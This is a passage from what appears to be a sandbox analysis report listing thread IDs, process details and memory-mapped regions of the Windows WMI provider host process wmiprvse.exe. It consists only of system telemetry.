	id = 101
	os_tid = 0x174


Thread:
	id = 102
	os_tid = 0x698


Thread:
	id = 103
	os_tid = 0x684


Thread:
	id = 104
	os_tid = 0x5dc


Thread:
	id = 105
	os_tid = 0x580


Thread:
	id = 106
	os_tid = 0x528


Thread:
	id = 107
	os_tid = 0x514


Thread:
	id = 108
	os_tid = 0x470


Thread:
	id = 109
	os_tid = 0x7f4


Thread:
	id = 110
	os_tid = 0x7d8


Thread:
	id = 111
	os_tid = 0x7d0


Thread:
	id = 112
	os_tid = 0x7b4


Thread:
	id = 113
	os_tid = 0x7b0


Thread:
	id = 114
	os_tid = 0x7a4


Thread:
	id = 115
	os_tid = 0x774


Thread:
	id = 116
	os_tid = 0x4b8


Thread:
	id = 117
	os_tid = 0x478


Thread:
	id = 118
	os_tid = 0x474


Thread:
	id = 119
	os_tid = 0x430


Thread:
	id = 120
	os_tid = 0x428


Thread:
	id = 121
	os_tid = 0x41c


Thread:
	id = 122
	os_tid = 0x3d4


Thread:
	id = 123
	os_tid = 0x3a0


Thread:
	id = 124
	os_tid = 0x3fc


Thread:
	id = 125
	os_tid = 0x3f4


Thread:
	id = 126
	os_tid = 0x3e8


Thread:
	id = 127
	os_tid = 0x398


Thread:
	id = 128
	os_tid = 0x38c


Thread:
	id = 129
	os_tid = 0x388


Thread:
	id = 130
	os_tid = 0x380


Thread:
	id = 131
	os_tid = 0x34c


Thread:
	id = 132
	os_tid = 0x33c


Thread:
	id = 133
	os_tid = 0x5a8


Thread:
	id = 134
	os_tid = 0x250


Thread:
	id = 154
	os_tid = 0xaac


Thread:
	id = 155
	os_tid = 0x1c0


Thread:
	id = 165
	os_tid = 0xb1c


Thread:
	id = 166
	os_tid = 0xb18


Thread:
	id = 167
	os_tid = 0xb0c


Thread:
	id = 168
	os_tid = 0xb10


Thread:
	id = 169
	os_tid = 0xb14


Thread:
	id = 170
	os_tid = 0xb08


Thread:
	id = 171
	os_tid = 0xac0


Thread:
	id = 172
	os_tid = 0xb04


Thread:
	id = 173
	os_tid = 0xb0


Thread:
	id = 174
	os_tid = 0x7c8


Thread:
	id = 175
	os_tid = 0x1c4


Thread:
	id = 181
	os_tid = 0xbdc


Thread:
	id = 182
	os_tid = 0xbd8


Thread:
	id = 183
	os_tid = 0x7bc


Thread:
	id = 210
	os_tid = 0x95c


Thread:
	id = 251
	os_tid = 0x408


Thread:
	id = 258
	os_tid = 0x684


Thread:
	id = 259
	os_tid = 0x7ac


Thread:
	id = 289
	os_tid = 0xae4


Thread:
	id = 290
	os_tid = 0xac8


Thread:
	id = 291
	os_tid = 0x894


Thread:
	id = 296
	os_tid = 0x5b8


Thread:
	id = 297
	os_tid = 0xa50


Process:
	id = "8"
	image_name = "wmiprvse.exe"
	filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe"
	page_root = "0x25a68000"
	os_pid = "0x914"
	os_integrity_level = "0x4000"
	os_privileges = "0x60800000"
	monitor_reason = "rpc_server"
	parent_id = "7"
	os_parent_pid = "0x338"
	cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\Network Service"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "WMI (Network Service)" [0xf], "NT AUTHORITY\\Logon Session 00000000:0006ce3d" [0xc000000f]

Region:
	              id = 1638
	        start_va = 0x10000
	          end_va = 0x2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000010000"
	        filename = ""

Region:
	              id = 1639
	        start_va = 0x30000
	          end_va = 0x33fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000030000"
	        filename = ""

Region:
	              id = 1640
	        start_va = 0x40000
	          end_va = 0x40fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000040000"
	        filename = ""

Region:
	              id = 1641
	        start_va = 0x170000
	          end_va = 0x1effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000170000"
	        filename = ""

Region:
	              id = 1642
	        start_va = 0x77450000
	          end_va = 0x775f8fff
	     entry_point = 0x77450000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 1643
	        start_va = 0x7efe0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efe0000"
	        filename = ""

Region:
	              id = 1644
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 1645
	        start_va = 0xff570000
	          end_va = 0xff5cefff
	     entry_point = 0xff570000
	     region_type = mapped_file
	            name = "wmiprvse.exe"
	        filename = "\\Windows\\System32\\wbem\\WmiPrvSE.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiprvse.exe")

Region:
	              id = 1646
	        start_va = 0x7feff770000
	          end_va = 0x7feff770fff
	     entry_point = 0x7feff770000
	     region_type = mapped_file
	            name = "apisetschema.dll"
	        filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")

Region:
	              id = 1647
	        start_va = 0x7fffffb0000
	          end_va = 0x7fffffd2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000007fffffb0000"
	        filename = ""

Region:
	              id = 1648
	        start_va = 0x7fffffdb000
	          end_va = 0x7fffffdbfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdb000"
	        filename = ""

Region:
	              id = 1649
	        start_va = 0x7fffffde000
	          end_va = 0x7fffffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffde000"
	        filename = ""

Region:
	              id = 1650
	        start_va = 0x260000
	          end_va = 0x35ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000260000"
	        filename = ""

Region:
	              id = 1651
	        start_va = 0x77330000
	          end_va = 0x7744efff
	     entry_point = 0x77330000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 1652
	        start_va = 0x7fefd6c0000
	          end_va = 0x7fefd72afff
	     entry_point = 0x7fefd6c0000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 1653
	        start_va = 0x10000
	          end_va = 0x1ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000010000"
	        filename = ""

Region:
	              id = 1654
	        start_va = 0x50000
	          end_va = 0xb6fff
	     entry_point = 0x50000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 1655
	        start_va = 0x77230000
	          end_va = 0x77329fff
	     entry_point = 0x77230000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 1656
	        start_va = 0x7efe0000
	          end_va = 0x7f0dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efe0000"
	        filename = ""

Region:
	              id = 1657
	        start_va = 0x7f0e0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007f0e0000"
	        filename = ""

Region:
	              id = 1658
	        start_va = 0x7fef4a00000
	          end_va = 0x7fef4a15fff
	     entry_point = 0x7fef4a00000
	     region_type = mapped_file
	            name = "ncobjapi.dll"
	        filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll")

Region:
	              id = 1659
	        start_va = 0x7fef4f70000
	          end_va = 0x7fef4f96fff
	     entry_point = 0x7fef4f70000
	     region_type = mapped_file
	            name = "ntdsapi.dll"
	        filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll")

Region:
	              id = 1660
	        start_va = 0x7fef4fa0000
	          end_va = 0x7fef5081fff
	     entry_point = 0x7fef4fa0000
	     region_type = mapped_file
	            name = "fastprox.dll"
	        filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll")

Region:
	              id = 1661
	        start_va = 0x7fef5210000
	          end_va = 0x7fef5295fff
	     entry_point = 0x7fef5210000
	     region_type = mapped_file
	            name = "wbemcomn.dll"
	        filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll")

Region:
	              id = 1662
	        start_va = 0x7fefd8a0000
	          end_va = 0x7fefd976fff
	     entry_point = 0x7fefd8a0000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")

Region:
	              id = 1663
	        start_va = 0x7fefd980000
	          end_va = 0x7fefdb82fff
	     entry_point = 0x7fefd980000
	     region_type = mapped_file
	            name = "ole32.dll"
	        filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")

Region:
	              id = 1664
	        start_va = 0x7fefdca0000
	          end_va = 0x7fefdcbefff
	     entry_point = 0x7fefdca0000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")

Region:
	              id = 1665
	        start_va = 0x7fefed30000
	          end_va = 0x7fefee5cfff
	     entry_point = 0x7fefed30000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")

Region:
	              id = 1666
	        start_va = 0x7fefee90000
	          end_va = 0x7fefef58fff
	     entry_point = 0x7fefee90000
	     region_type = mapped_file
	            name = "usp10.dll"
	        filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll")

Region:
	              id = 1667
	        start_va = 0x7fefef60000
	          end_va = 0x7fefeffefff
	     entry_point = 0x7fefef60000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 1668
	        start_va = 0x7feff440000
	          end_va = 0x7feff447fff
	     entry_point = 0x7feff440000
	     region_type = mapped_file
	            name = "nsi.dll"
	        filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll")

Region:
	              id = 1669
	        start_va = 0x7feff470000
	          end_va = 0x7feff54afff
	     entry_point = 0x7feff470000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")

Region:
	              id = 1670
	        start_va = 0x7feff5f0000
	          end_va = 0x7feff5fdfff
	     entry_point = 0x7feff5f0000
	     region_type = mapped_file
	            name = "lpk.dll"
	        filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll")

Region:
	              id = 1671
	        start_va = 0x7feff600000
	          end_va = 0x7feff666fff
	     entry_point = 0x7feff600000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 1672
	        start_va = 0x7feff670000
	          end_va = 0x7feff6bcfff
	     entry_point = 0x7feff670000
	     region_type = mapped_file
	            name = "ws2_32.dll"
	        filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll")

Region:
	              id = 1673
	        start_va = 0x20000
	          end_va = 0x20fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000020000"
	        filename = ""

Region:
	              id = 1674
	        start_va = 0xc0000
	          end_va = 0xc0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000c0000"
	        filename = ""

Region:
	              id = 1675
	        start_va = 0xd0000
	          end_va = 0xd6fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000000d0000"
	        filename = ""

Region:
	              id = 1676
	        start_va = 0xe0000
	          end_va = 0xe1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000000e0000"
	        filename = ""

Region:
	              id = 1677
	        start_va = 0x360000
	          end_va = 0x45ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000360000"
	        filename = ""

Region:
	              id = 1678
	        start_va = 0x470000
	          end_va = 0x47ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000470000"
	        filename = ""

Region:
	              id = 1679
	        start_va = 0x480000
	          end_va = 0x607fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000480000"
	        filename = ""

Region:
	              id = 1680
	        start_va = 0x610000
	          end_va = 0x790fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000610000"
	        filename = ""

Region:
	              id = 1681
	        start_va = 0x7a0000
	          end_va = 0x85ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000007a0000"
	        filename = ""

Region:
	              id = 1682
	        start_va = 0x860000
	          end_va = 0x95ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000860000"
	        filename = ""

Region:
	              id = 1683
	        start_va = 0x9b0000
	          end_va = 0xa2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000009b0000"
	        filename = ""

Region:
	              id = 1684
	        start_va = 0xa30000
	          end_va = 0xaaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000a30000"
	        filename = ""

Region:
	              id = 1685
	        start_va = 0xab0000
	          end_va = 0xd7efff
	     entry_point = 0xab0000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 1686
	        start_va = 0xd80000
	          end_va = 0x1172fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000d80000"
	        filename = ""

Region:
	              id = 1687
	        start_va = 0x7fefd290000
	          end_va = 0x7fefd29efff
	     entry_point = 0x7fefd290000
	     region_type = mapped_file
	            name = "cryptbase.dll"
	        filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")

Region:
	              id = 1688
	        start_va = 0x7fefdb90000
	          end_va = 0x7fefdc98fff
	     entry_point = 0x7fefdb90000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")

Region:
	              id = 1689
	        start_va = 0x7fefee60000
	          end_va = 0x7fefee8dfff
	     entry_point = 0x7fefee60000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")

Region:
	              id = 1690
	        start_va = 0x7fefb310000
	          end_va = 0x7fefb33cfff
	     entry_point = 0x7fefb310000
	     region_type = mapped_file
	            name = "ntmarta.dll"
	        filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll")

Region:
	              id = 1691
	        start_va = 0x7feff000000
	          end_va = 0x7feff051fff
	     entry_point = 0x7feff000000
	     region_type = mapped_file
	            name = "wldap32.dll"
	        filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll")

Region:
	              id = 1692
	        start_va = 0xf0000
	          end_va = 0xf0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000000f0000"
	        filename = ""

Region:
	              id = 1693
	        start_va = 0x100000
	          end_va = 0x100fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000100000"
	        filename = ""

Region:
	              id = 1694
	        start_va = 0x11d0000
	          end_va = 0x124ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000011d0000"
	        filename = ""

Region:
	              id = 1695
	        start_va = 0x13b0000
	          end_va = 0x142ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000013b0000"
	        filename = ""

Region:
	              id = 1696
	        start_va = 0x7feff6c0000
	          end_va = 0x7feff758fff
	     entry_point = 0x7feff6c0000
	     region_type = mapped_file
	            name = "clbcatq.dll"
	        filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll")

Region:
	              id = 1697
	        start_va = 0x7fffffd9000
	          end_va = 0x7fffffdafff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd9000"
	        filename = ""

Region:
	              id = 1698
	        start_va = 0x7fffffdc000
	          end_va = 0x7fffffddfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdc000"
	        filename = ""

Region:
	              id = 1699
	        start_va = 0x110000
	          end_va = 0x110fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000110000"
	        filename = ""

Region:
	              id = 1700
	        start_va = 0x7fef4f60000
	          end_va = 0x7fef4f6efff
	     entry_point = 0x7fef4f60000
	     region_type = mapped_file
	            name = "wbemprox.dll"
	        filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll")

Region:
	              id = 1701
	        start_va = 0x14c0000
	          end_va = 0x153ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000014c0000"
	        filename = ""

Region:
	              id = 1702
	        start_va = 0x7fefcc90000
	          end_va = 0x7fefcca6fff
	     entry_point = 0x7fefcc90000
	     region_type = mapped_file
	            name = "cryptsp.dll"
	        filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")

Region:
	              id = 1703
	        start_va = 0x7fffffd7000
	          end_va = 0x7fffffd8fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd7000"
	        filename = ""

Region:
	              id = 1704
	        start_va = 0x7fefc990000
	          end_va = 0x7fefc9d6fff
	     entry_point = 0x7fefc990000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")

Region:
	              id = 1705
	        start_va = 0x1250000
	          end_va = 0x12cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001250000"
	        filename = ""

Region:
	              id = 1706
	        start_va = 0x12f0000
	          end_va = 0x136ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000012f0000"
	        filename = ""

Region:
	              id = 1707
	        start_va = 0x1630000
	          end_va = 0x16affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001630000"
	        filename = ""

Region:
	              id = 1708
	        start_va = 0x7fef4b60000
	          end_va = 0x7fef4b85fff
	     entry_point = 0x7fef4b60000
	     region_type = mapped_file
	            name = "wmiutils.dll"
	        filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll")

Region:
	              id = 1709
	        start_va = 0x7fef4c80000
	          end_va = 0x7fef4c93fff
	     entry_point = 0x7fef4c80000
	     region_type = mapped_file
	            name = "wbemsvc.dll"
	        filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll")

Region:
	              id = 1710
	        start_va = 0x7fefd380000
	          end_va = 0x7fefd393fff
	     entry_point = 0x7fefd380000
	     region_type = mapped_file
	            name = "rpcrtremote.dll"
	        filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll")

Region:
	              id = 1711
	        start_va = 0x7fffffae000
	          end_va = 0x7fffffaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffae000"
	        filename = ""

Region:
	              id = 1712
	        start_va = 0x7fffffd3000
	          end_va = 0x7fffffd4fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd3000"
	        filename = ""

Region:
	              id = 1713
	        start_va = 0x7fffffd5000
	          end_va = 0x7fffffd6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd5000"
	        filename = ""

Region:
	              id = 1714
	        start_va = 0x7fee1bb0000
	          end_va = 0x7fee1da9fff
	     entry_point = 0x7fee1bb0000
	     region_type = mapped_file
	            name = "cimwin32.dll"
	        filename = "\\Windows\\System32\\wbem\\cimwin32.dll" (normalized: "c:\\windows\\system32\\wbem\\cimwin32.dll")

Region:
	              id = 1715
	        start_va = 0x7fee2550000
	          end_va = 0x7fee259bfff
	     entry_point = 0x7fee2550000
	     region_type = mapped_file
	            name = "framedynos.dll"
	        filename = "\\Windows\\System32\\framedynos.dll" (normalized: "c:\\windows\\system32\\framedynos.dll")

Region:
	              id = 1716
	        start_va = 0x7fefb630000
	          end_va = 0x7fefb640fff
	     entry_point = 0x7fefb630000
	     region_type = mapped_file
	            name = "wtsapi32.dll"
	        filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll")

Region:
	              id = 1717
	        start_va = 0x7fefd260000
	          end_va = 0x7fefd284fff
	     entry_point = 0x7fefd260000
	     region_type = mapped_file
	            name = "sspicli.dll"
	        filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll")

Region:
	              id = 1718
	        start_va = 0x7fee21c0000
	          end_va = 0x7fee21c7fff
	     entry_point = 0x7fee21c0000
	     region_type = mapped_file
	            name = "winbrand.dll"
	        filename = "\\Windows\\System32\\winbrand.dll" (normalized: "c:\\windows\\system32\\winbrand.dll")

Region:
	              id = 1719
	        start_va = 0x73b90000
	          end_va = 0x73b92fff
	     entry_point = 0x73b90000
	     region_type = mapped_file
	            name = "security.dll"
	        filename = "\\Windows\\System32\\security.dll" (normalized: "c:\\windows\\system32\\security.dll")

Region:
	              id = 1720
	        start_va = 0x7fefd230000
	          end_va = 0x7fefd23afff
	     entry_point = 0x7fefd230000
	     region_type = mapped_file
	            name = "secur32.dll"
	        filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll")

Region:
	              id = 1721
	        start_va = 0x7fefc890000
	          end_va = 0x7fefc899fff
	     entry_point = 0x7fefc890000
	     region_type = mapped_file
	            name = "credssp.dll"
	        filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll")

Region:
	              id = 1722
	        start_va = 0x120000
	          end_va = 0x122fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000120000"
	        filename = ""

Region:
	              id = 1723
	        start_va = 0x130000
	          end_va = 0x134fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000130000"
	        filename = ""

Region:
	              id = 1724
	        start_va = 0x1790000
	          end_va = 0x180ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001790000"
	        filename = ""

Region:
	              id = 1725
	        start_va = 0x1820000
	          end_va = 0x189ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001820000"
	        filename = ""

Region:
	              id = 1726
	        start_va = 0x18a0000
	          end_va = 0x199ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000018a0000"
	        filename = ""

Region:
	              id = 1727
	        start_va = 0x7fefb4d0000
	          end_va = 0x7fefb4e4fff
	     entry_point = 0x7fefb4d0000
	     region_type = mapped_file
	            name = "wkscli.dll"
	        filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll")

Region:
	              id = 1728
	        start_va = 0x7fefb4f0000
	          end_va = 0x7fefb4fbfff
	     entry_point = 0x7fefb4f0000
	     region_type = mapped_file
	            name = "netutils.dll"
	        filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll")

Region:
	              id = 1729
	        start_va = 0x7fefb500000
	          end_va = 0x7fefb515fff
	     entry_point = 0x7fefb500000
	     region_type = mapped_file
	            name = "netapi32.dll"
	        filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll")

Region:
	              id = 1730
	        start_va = 0x7fefca20000
	          end_va = 0x7fefca76fff
	     entry_point = 0x7fefca20000
	     region_type = mapped_file
	            name = "schannel.dll"
	        filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll")

Region:
	              id = 1731
	        start_va = 0x7fefd190000
	          end_va = 0x7fefd1b2fff
	     entry_point = 0x7fefd190000
	     region_type = mapped_file
	            name = "srvcli.dll"
	        filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll")

Region:
	              id = 1732
	        start_va = 0x7fefd440000
	          end_va = 0x7fefd44efff
	     entry_point = 0x7fefd440000
	     region_type = mapped_file
	            name = "msasn1.dll"
	        filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll")

Region:
	              id = 1733
	        start_va = 0x7fefd470000
	          end_va = 0x7fefd5d6fff
	     entry_point = 0x7fefd470000
	     region_type = mapped_file
	            name = "crypt32.dll"
	        filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll")

Region:
	              id = 1734
	        start_va = 0x7fffffaa000
	          end_va = 0x7fffffabfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffaa000"
	        filename = ""

Region:
	              id = 1735
	        start_va = 0x7fffffac000
	          end_va = 0x7fffffadfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffac000"
	        filename = ""

Region:
	              id = 1736
	        start_va = 0x7fefb4b0000
	          end_va = 0x7fefb4c3fff
	     entry_point = 0x7fefb4b0000
	     region_type = mapped_file
	            name = "samcli.dll"
	        filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll")

Region:
	              id = 1737
	        start_va = 0x7fefca80000
	          end_va = 0x7fefcaaffff
	     entry_point = 0x7fefca80000
	     region_type = mapped_file
	            name = "logoncli.dll"
	        filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll")

Region:
	              id = 1738
	        start_va = 0x7fee21a0000
	          end_va = 0x7fee21b1fff
	     entry_point = 0x7fee21a0000
	     region_type = mapped_file
	            name = "browcli.dll"
	        filename = "\\Windows\\System32\\browcli.dll" (normalized: "c:\\windows\\system32\\browcli.dll")

Region:
	              id = 1739
	        start_va = 0x7fee2190000
	          end_va = 0x7fee2199fff
	     entry_point = 0x7fee2190000
	     region_type = mapped_file
	            name = "schedcli.dll"
	        filename = "\\Windows\\System32\\schedcli.dll" (normalized: "c:\\windows\\system32\\schedcli.dll")

Region:
	              id = 1740
	        start_va = 0x7fefaf50000
	          end_va = 0x7fefaf5bfff
	     entry_point = 0x7fefaf50000
	     region_type = mapped_file
	            name = "dsrole.dll"
	        filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll")

Region:
	              id = 1926
	        start_va = 0x19a0000
	          end_va = 0x1ce2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000019a0000"
	        filename = ""

Region:
	              id = 1927
	        start_va = 0x73ba0000
	          end_va = 0x73ba2fff
	     entry_point = 0x73ba0000
	     region_type = mapped_file
	            name = "wmi.dll"
	        filename = "\\Windows\\System32\\wmi.dll" (normalized: "c:\\windows\\system32\\wmi.dll")

Region:
	              id = 1928
	        start_va = 0x7fef22e0000
	          end_va = 0x7fef22eafff
	     entry_point = 0x7fef22e0000
	     region_type = mapped_file
	            name = "perfos.dll"
	        filename = "\\Windows\\System32\\perfos.dll" (normalized: "c:\\windows\\system32\\perfos.dll")

Region:
	              id = 1929
	        start_va = 0x7fef8c60000
	          end_va = 0x7fef8c6efff
	     entry_point = 0x7fef8c60000
	     region_type = mapped_file
	            name = "cscapi.dll"
	        filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll")

Region:
	              id = 1964
	        start_va = 0x14b0000
	          end_va = 0x14bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000014b0000"
	        filename = ""

Region:
	              id = 1965
	        start_va = 0x1cf0000
	          end_va = 0x1deffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001cf0000"
	        filename = ""

Region:
	              id = 1966
	        start_va = 0x7fef22b0000
	          end_va = 0x7fef22dbfff
	     entry_point = 0x7fef22b0000
	     region_type = mapped_file
	            name = "wmipcima.dll"
	        filename = "\\Windows\\System32\\wbem\\wmipcima.dll" (normalized: "c:\\windows\\system32\\wbem\\wmipcima.dll")

Region:
	              id = 1967
	        start_va = 0x7fefd450000
	          end_va = 0x7fefd469fff
	     entry_point = 0x7fefd450000
	     region_type = mapped_file
	            name = "devobj.dll"
	        filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll")

Region:
	              id = 1968
	        start_va = 0x7fefd680000
	          end_va = 0x7fefd6b5fff
	     entry_point = 0x7fefd680000
	     region_type = mapped_file
	            name = "cfgmgr32.dll"
